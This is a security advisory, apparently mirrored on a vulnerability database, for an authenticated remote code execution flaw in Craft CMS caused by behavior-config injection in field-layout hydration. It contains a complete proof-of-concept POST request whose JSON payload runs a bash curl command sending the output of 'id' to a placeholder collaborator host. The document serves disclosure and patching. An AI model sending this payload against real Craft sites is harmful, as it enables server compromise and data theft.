Craft CMS has Potential Authenticated Remote Code Execution via Malicious Attached Behavior
We identified a vulnerability in the latest version of Craft CMS which contains an input-handling flaw in a Yii object creation path that let any authenticated user inject malicious configuration and execute arbitrary commands on the server. Yii’s dynamic object configuration, as implemented in Craft CMS, is a feature that lets the application build parts of itself from a settings list.
This is largely a continuation of https://github.com/craftcms/cms/security/advisories/GHSA-255j-qw47-wjh5, but through a different path that was not mitigated in the original.
The request-controlled condition field layouts data is converted into a live FieldLayout object without a Component::cleanseConfig() boundary. Because Craft configures models before parent::__construct(), attacker-controlled special config keys can take effect during object creation, and FieldLayout initialization then triggers a same-request event.
This appears to be another variant of the recent object-config / behavior-injection bug family, but via the condition / field layout hydration path.
We were able to reproduce the attack by issuing a POST request to /admin/actions/element-search/search with the following JSON from any connected user. Other routes can be exploited in the same way, including the rest of the element-indexes actions that pass through that same beforeAction() path. This results in a curl request to the chosen server with the result of the command “id” for the web user being appended to the path:
POST /admin/actions/element-search/search HTTP/2
Host: hostnamehere
Cookie: CraftSessionId=...; 1234123412341234_identity=...; CRAFT_CSRF_TOKEN=...;
Content-Length: …
User-Agent: Mozilla/5.0
X-Csrf-Token: ...
Accept: application/json
Content-Type: application/json
{
"elementType": "craft\\elements\\Category",
"siteId": 1,
"search": "",
"condition": {
"class": "craft\\elements\\conditions\\ElementCondition",
"elementType": "craft\\elements\\Category",
"fieldLayouts": [
{
"as rce": {
"__class": "yii\\behaviors\\AttributeTypecastBehavior",
"__construct()": [
{
"attributeTypes": {
"typecastBeforeSave": [
"Psy\\Readline\\Hoa\\ConsoleProcessus",
"execute"
]
},
"typecastBeforeSave": "/bin/bash -c \"curl [https://yourcollaboratorservergoeshere/`id`\](https://yourcollaboratorservergoeshere/%60id%60/)""
}
]
},
"on *": "self::beforeSave"
}
]
}
}
Resources
https://github.com/craftcms/cms/commit/ab85ca7f5f926994f723f60584054a1f4c4c5de3
Affected software
Click a technology to see all vulnerabilities affecting it.
| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| Composer package | craftcms/cms | >= 4.0.0, < 4.17.12, >= 5.0.0, < 5.9.18 | 4.17.12, 5.9.18 |
References
- https://github.com/craftcms/cms/security/advisories/GHSA-255j-qw47-wjh5
- https://github.com/craftcms/cms/security/advisories/GHSA-qrgm-p9w5-rrfw
- https://nvd.nist.gov/vuln/detail/CVE-2026-44011
- https://github.com/craftcms/cms/commit/ab85ca7f5f926994f723f60584054a1f4c4c5de3
- https://github.com/craftcms/cms
- CVSS vector
CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N- Weakness (CWE)
CWE-470, CWE-479- Platform
- Composer
- Package
craftcms/cms- Disclosed
- 06.05.2026
- Updated
- 11.10.2026 10:22
Sources and licenses
OSV / GitHub Advisory Database - GHSA-qrgm-p9w5-rrfw - CC BY 4.0
Vulnerability history: craftcms/cms
All published vulnerabilities of this package (Composer package), newest first. Shows whether this is a one-off slip or a package that needs watching.
- Total entries
- 127
- First → latest
- 07.2021 08.2026
- Without a fix
- 6
- Exploited in attacks
- 4
Severity breakdown
- Critical 9
- High 41
- Medium 65
- Low 12
Disclosures per year
- 2021: 3
- 2022: 22
- 2023: 13
- 2024: 9
- 2025: 6
- 2026: 74
-
Craft CMS has Potential Authenticated Remote Code Execution via Malicious Attached Behavior this entry
Know which vulnerabilities affect your application
With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.